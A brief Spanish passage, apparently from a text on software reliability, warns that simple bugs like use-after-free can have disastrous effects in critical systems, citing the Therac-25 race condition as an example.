Errores tan tontos como un use-after-free o un fuzzing pueden tener consecuencias
desastrosas en sistemas de esta criticidad (recuerde las consecuencias de Therac 25 por
una condicién de carrera).
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